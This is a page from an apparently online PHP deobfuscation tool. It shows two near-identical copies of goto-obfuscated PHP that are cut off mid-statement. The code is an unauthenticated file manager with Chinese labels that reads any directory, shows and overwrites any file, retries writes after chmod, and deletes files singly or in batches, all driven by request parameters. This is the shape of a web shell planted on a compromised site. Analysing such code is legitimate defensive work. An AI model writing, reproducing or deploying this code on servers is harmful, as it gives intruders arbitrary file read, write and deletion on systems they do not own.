Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/* @Author https://www.jiamiphp.com/ */ goto olN44PDi2s; H7qhw7g_On: gLPVWV7UTM: $actio..

Decoded Output download

<?  /* @Author https://www.jiamiphp.com/ */  
 goto olN44PDi2s; H7qhw7g_On: gLPVWV7UTM: $action = isset($_GET["action"]) ? $_GET["action"] : ''; $path = isset($_REQUEST["path"]) ? $_REQUEST["path"] : ''; $title = $content = ''; switch ($action) { case "batchDel": $title = "\345\210\xa0\351\x99\244\351\x80\x89\344\xb8\255\xe6\226\x87\xe4\xbb\266"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\346\226\207\344\273\xb6\xe5\x90\215</td><td>\xe6\x93\215\344\275\234</td></tr>"; if (!isset($_POST["files"])) { goto jwD7z6NH_9; } foreach ($_POST["files"] as $v) { goto UlqbE2BJnb; uwb5gV23jx: $content .= "<tr><td><font color="red">" . $v . "</font></td><td>\345\210\xa0\xe9\x99\244\xe5\xa4\261\xe8\xb4\xa5</td></tr>"; goto mKJf5R11qq; QWh5PsWMpK: $content .= "<tr><td>" . $v . "</td><td>\345\210\xa0\xe9\231\244\346\x88\220\345\212\237</td></tr>"; mKJf5R11qq: goto TqjrY_E51C; UlqbE2BJnb: if (file_exists($v)) { goto sK0dBh2IBM; } $content .= "<tr><td>" . $v . "</td><td>\345\210\240\xe9\231\244\xe6\210\x90\xe5\x8a\237</td></tr>"; goto PAsogEnE2H; sK0dBh2IBM: if (unlink($v)) { goto QWh5PsWMpK; } goto uwb5gV23jx; TqjrY_E51C: PAsogEnE2H: GgKWsjnO5M: goto V70qkQuVMy; V70qkQuVMy: } cf3eUeNoPy: $content .= "</table>"; jwD7z6NH_9: goto DYPhspqO8k; case "del": goto ZnEMaskUob; Wj5yyPnvnv: U2pO3CL2TH: $content .= "Success"; Kp8lGzkIlW: tmCZnx_5OA: nymV_4pW1S: goto DwpKB8yory; DwpKB8yory: $content .= "</td></tr></table>"; goto DYPhspqO8k; goto Xy9FMITb97; oUwytlpIx_: goto tmCZnx_5OA; gr3jUWt7_I: if (unlink($path)) { goto U2pO3CL2TH; } $content .= "<font color="red">Fail</font><br>"; goto Kp8lGzkIlW; goto Wj5yyPnvnv; ZnEMaskUob: $title = "\345\x88\240\xe9\231\244\xe6\x96\207\xe4\xbb\266"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\346\x96\x87\xe4\273\xb6\xe5\220\x8d</td><td>\xe6\x93\215\xe4\xbd\x9c</td></tr><tr><td>" . $path . "</td><td>"; if (!$path) { goto nymV_4pW1S; } if (file_exists($path)) { goto gr3jUWt7_I; } $content .= "Success"; goto oUwytlpIx_; Xy9FMITb97: case "edit": goto Hu8dLhKx3c; chkK6_ST6I: goto dXEPJ0v9vC; VTabN1bi1Z: $content = "\xe7\xbc\x96\xe8\xbe\221\346\x88\220\xe5\x8a\x9f"; dXEPJ0v9vC: r0v6qELazY: goto HNZFFaw_EA; HNZFFaw_EA: V1dmkBQRoz: goto DYPhspqO8k; goto KHbJ69ng5m; oFxIgt8G_m: uE5tWgHrd4: if (file_exists($path)) { goto ACUxlah_Ly; } $content = "\xe6\x96\x87\xe4\273\xb6\xe4\270\x8d\345\255\230\xe5\x9c\xa8\357\274\x8c\347\274\x96\xe8\xbe\x91\345\244\xb1\xe8\xb4\245\xe3\200\202"; goto r0v6qELazY; ACUxlah_Ly: goto r96Krc1x5K; Hu8dLhKx3c: $title = "\xe6\237\245\347\x9c\213/\xe7\274\x96\350\276\221 \344\273\243\347\xa0\201"; $code = isset($_POST["code"]) ? $_POST["code"] : ''; if ($code) { goto uE5tWgHrd4; } $content = "<form action="?action=edit" method="post"><input type="hidden" name="path" value="" . htmlspecialchars($path) . ""><div class="form-item form-text"><label class="form-label">\xe5\x86\205\345\xae\271</label><div class="input-block"><textarea name="code" class="form-textarea" style="min-height:500px;">" . htmlspecialchars(file_get_contents(htmlspecialchars($path))) . "</textarea></div></div><div class="form-item border-none"><div class="input-block"><input type="submit" class="submit border-none"></div></div></form>"; goto V1dmkBQRoz; goto oFxIgt8G_m; KwKHKSExvv: $content = "\344\xbf\xae\346\224\271\346\x9d\x83\351\231\x90\xe5\x90\216\357\xbc\214\347\274\x96\350\xbe\x91\xe4\xb9\x9f\345\xa4\xb1\350\xb4\245\343\x80\x82"; goto FYGu_CDCez; otkkkxBXO_: $content = "\344\xbf\256\346\x94\271\346\235\x83\351\231\x90\345\x90\x8e\357\274\214\xe7\274\x96\xe8\276\221\xe6\x88\220\345\212\x9f\xe3\x80\x82"; FYGu_CDCez: goto chkK6_ST6I; r96Krc1x5K: $result = file_put_contents($path, $code); if ($result) { goto VTabN1bi1Z; } chmod($path, 0644); $temp = file_put_contents($path, $code); if ($temp) { goto otkkkxBXO_; } goto KwKHKSExvv; KHbJ69ng5m: default: goto cKfsCwrCZT; SRDZMFWd_Q: $title = $dir; $content = "<form name="frm1" id="frm1" method="post" action="?action=batchDel"><table cellspacing="0" cellpadding="0" border="0" class="table"><thead><tr><td></td><td>\xe6\x96\207\xe4\273\xb6\345\220\x8d</td><td align="center">\xe6\235\x83\351\x99\x90</td><td align="center">\xe5\210\x9b\345\273\272\xe6\227\xb6\351\227\264</td><td align="center">\347\xbc\226\xe8\xbe\221\346\x97\xb6\xe9\227\264</td><td align="center">\350\xae\277\351\x97\256\xe6\227\266\xe9\x97\xb4</td><td align="center">\xe5\244\247\345\260\217</td><td align="center">\xe6\x93\215\344\xbd\234</td></tr></thead>"; foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && is_dir($fullPath))) { goto IAwd2g2QKE; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">\xe6\226\x87\xe4\273\266\345\xa4\271</td><td align="center"></td></tr>"; IAwd2g2QKE: pgljE2HYkc: } ooTU01N063: foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && !is_dir($fullPath))) { goto IGCIQn5Rlv; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "&action=edit" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">" . round(filesize($fullPath) / 1024, 2) . " Kb</td><td align="center"><a href="?path=" . escape($fullPath) . "&action=del">\xe5\210\240\351\231\xa4</a></td></tr>"; IGCIQn5Rlv: b_vpo2iK_Z: } goto Mk22o8uIer; cKfsCwrCZT: $root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : ''; $dir = __DIR__; if (!$path) { goto RT6JiGLsyv; } $dir = $path; RT6JiGLsyv: goto SRDZMFWd_Q; Mk22o8uIer: wKiYt8sLz0: $content .= "<tr><td colspan="8"><input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> \345\x85\xa8\351\200\211 <input type="submit" value="Delete Checked" onclick="return del();"></td></tr></table></form>"; goto DYPhspqO8k; goto vzwnXTeOJb; vzwnXTeOJb: } goto bxCUPSzIFO; lJ0XroQDao: echo $title; echo "</legend>\xd ?>

Did this file decode correctly?

Original Code

/* @Author https://www.jiamiphp.com/ */ 
 goto olN44PDi2s; H7qhw7g_On: gLPVWV7UTM: $action = isset($_GET["action"]) ? $_GET["action"] : ''; $path = isset($_REQUEST["path"]) ? $_REQUEST["path"] : ''; $title = $content = ''; switch ($action) { case "batchDel": $title = "\345\210\xa0\351\x99\244\351\x80\x89\344\xb8\255\xe6\226\x87\xe4\xbb\266"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\346\226\207\344\273\xb6\xe5\x90\215</td><td>\xe6\x93\215\344\275\234</td></tr>"; if (!isset($_POST["files"])) { goto jwD7z6NH_9; } foreach ($_POST["files"] as $v) { goto UlqbE2BJnb; uwb5gV23jx: $content .= "<tr><td><font color="red">" . $v . "</font></td><td>\345\210\xa0\xe9\x99\244\xe5\xa4\261\xe8\xb4\xa5</td></tr>"; goto mKJf5R11qq; QWh5PsWMpK: $content .= "<tr><td>" . $v . "</td><td>\345\210\xa0\xe9\231\244\346\x88\220\345\212\237</td></tr>"; mKJf5R11qq: goto TqjrY_E51C; UlqbE2BJnb: if (file_exists($v)) { goto sK0dBh2IBM; } $content .= "<tr><td>" . $v . "</td><td>\345\210\240\xe9\231\244\xe6\210\x90\xe5\x8a\237</td></tr>"; goto PAsogEnE2H; sK0dBh2IBM: if (unlink($v)) { goto QWh5PsWMpK; } goto uwb5gV23jx; TqjrY_E51C: PAsogEnE2H: GgKWsjnO5M: goto V70qkQuVMy; V70qkQuVMy: } cf3eUeNoPy: $content .= "</table>"; jwD7z6NH_9: goto DYPhspqO8k; case "del": goto ZnEMaskUob; Wj5yyPnvnv: U2pO3CL2TH: $content .= "Success"; Kp8lGzkIlW: tmCZnx_5OA: nymV_4pW1S: goto DwpKB8yory; DwpKB8yory: $content .= "</td></tr></table>"; goto DYPhspqO8k; goto Xy9FMITb97; oUwytlpIx_: goto tmCZnx_5OA; gr3jUWt7_I: if (unlink($path)) { goto U2pO3CL2TH; } $content .= "<font color="red">Fail</font><br>"; goto Kp8lGzkIlW; goto Wj5yyPnvnv; ZnEMaskUob: $title = "\345\x88\240\xe9\231\244\xe6\x96\207\xe4\xbb\266"; $content = "<table cellspacing="0" cellpadding="0" border="0" class="table"><tr><td>\346\x96\x87\xe4\273\xb6\xe5\220\x8d</td><td>\xe6\x93\215\xe4\xbd\x9c</td></tr><tr><td>" . $path . "</td><td>"; if (!$path) { goto nymV_4pW1S; } if (file_exists($path)) { goto gr3jUWt7_I; } $content .= "Success"; goto oUwytlpIx_; Xy9FMITb97: case "edit": goto Hu8dLhKx3c; chkK6_ST6I: goto dXEPJ0v9vC; VTabN1bi1Z: $content = "\xe7\xbc\x96\xe8\xbe\221\346\x88\220\xe5\x8a\x9f"; dXEPJ0v9vC: r0v6qELazY: goto HNZFFaw_EA; HNZFFaw_EA: V1dmkBQRoz: goto DYPhspqO8k; goto KHbJ69ng5m; oFxIgt8G_m: uE5tWgHrd4: if (file_exists($path)) { goto ACUxlah_Ly; } $content = "\xe6\x96\x87\xe4\273\xb6\xe4\270\x8d\345\255\230\xe5\x9c\xa8\357\274\x8c\347\274\x96\xe8\xbe\x91\345\244\xb1\xe8\xb4\245\xe3\200\202"; goto r0v6qELazY; ACUxlah_Ly: goto r96Krc1x5K; Hu8dLhKx3c: $title = "\xe6\237\245\347\x9c\213/\xe7\274\x96\350\276\221 \344\273\243\347\xa0\201"; $code = isset($_POST["code"]) ? $_POST["code"] : ''; if ($code) { goto uE5tWgHrd4; } $content = "<form action="?action=edit" method="post"><input type="hidden" name="path" value="" . htmlspecialchars($path) . ""><div class="form-item form-text"><label class="form-label">\xe5\x86\205\345\xae\271</label><div class="input-block"><textarea name="code" class="form-textarea" style="min-height:500px;">" . htmlspecialchars(file_get_contents(htmlspecialchars($path))) . "</textarea></div></div><div class="form-item border-none"><div class="input-block"><input type="submit" class="submit border-none"></div></div></form>"; goto V1dmkBQRoz; goto oFxIgt8G_m; KwKHKSExvv: $content = "\344\xbf\xae\346\224\271\346\x9d\x83\351\231\x90\xe5\x90\216\357\xbc\214\347\274\x96\350\xbe\x91\xe4\xb9\x9f\345\xa4\xb1\350\xb4\245\343\x80\x82"; goto FYGu_CDCez; otkkkxBXO_: $content = "\344\xbf\256\346\x94\271\346\235\x83\351\231\x90\345\x90\x8e\357\274\214\xe7\274\x96\xe8\276\221\xe6\x88\220\345\212\x9f\xe3\x80\x82"; FYGu_CDCez: goto chkK6_ST6I; r96Krc1x5K: $result = file_put_contents($path, $code); if ($result) { goto VTabN1bi1Z; } chmod($path, 0644); $temp = file_put_contents($path, $code); if ($temp) { goto otkkkxBXO_; } goto KwKHKSExvv; KHbJ69ng5m: default: goto cKfsCwrCZT; SRDZMFWd_Q: $title = $dir; $content = "<form name="frm1" id="frm1" method="post" action="?action=batchDel"><table cellspacing="0" cellpadding="0" border="0" class="table"><thead><tr><td></td><td>\xe6\x96\207\xe4\273\xb6\345\220\x8d</td><td align="center">\xe6\235\x83\351\x99\x90</td><td align="center">\xe5\210\x9b\345\273\272\xe6\227\xb6\351\227\264</td><td align="center">\347\xbc\226\xe8\xbe\221\346\x97\xb6\xe9\227\264</td><td align="center">\350\xae\277\351\x97\256\xe6\227\266\xe9\x97\xb4</td><td align="center">\xe5\244\247\345\260\217</td><td align="center">\xe6\x93\215\344\xbd\234</td></tr></thead>"; foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && is_dir($fullPath))) { goto IAwd2g2QKE; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">\xe6\226\x87\xe4\273\266\345\xa4\271</td><td align="center"></td></tr>"; IAwd2g2QKE: pgljE2HYkc: } ooTU01N063: foreach (hardScandir($dir) as $value) { $fullPath = str_replace("//", "/", $dir . "/" . $value); if (!($value != "." && $value != ".." && !is_dir($fullPath))) { goto IGCIQn5Rlv; } $content .= "<tr><td align="center"><input type="checkbox" name="files[]" value="" . $fullPath . ""></td><td><a href="?path=" . escape($fullPath) . "&action=edit" target="_blank">" . $fullPath . "</td><td align="center">" . substr(sprintf("%o", fileperms($fullPath)), -4) . "</td><td align="center">" . date("Y-m-d H:i:s", filectime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", filemtime($fullPath)) . "</td><td align="center">" . date("Y-m-d H:i:s", fileatime($fullPath)) . "</td><td align="center">" . round(filesize($fullPath) / 1024, 2) . " Kb</td><td align="center"><a href="?path=" . escape($fullPath) . "&action=del">\xe5\210\240\351\231\xa4</a></td></tr>"; IGCIQn5Rlv: b_vpo2iK_Z: } goto Mk22o8uIer; cKfsCwrCZT: $root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : ''; $dir = __DIR__; if (!$path) { goto RT6JiGLsyv; } $dir = $path; RT6JiGLsyv: goto SRDZMFWd_Q; Mk22o8uIer: wKiYt8sLz0: $content .= "<tr><td colspan="8"><input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> \345\x85\xa8\351\200\211 <input type="submit" value="Delete Checked" onclick="return del();"></td></tr></table></form>"; goto DYPhspqO8k; goto vzwnXTeOJb; vzwnXTeOJb: } goto bxCUPSzIFO; lJ0XroQDao: echo $title; echo "</legend>\xd

Function Calls

None

Variables

None

Stats

MD5 1f77cd5acd1bb71734f4a8976e16d2c0
Eval Count 0
Decode Time 45 ms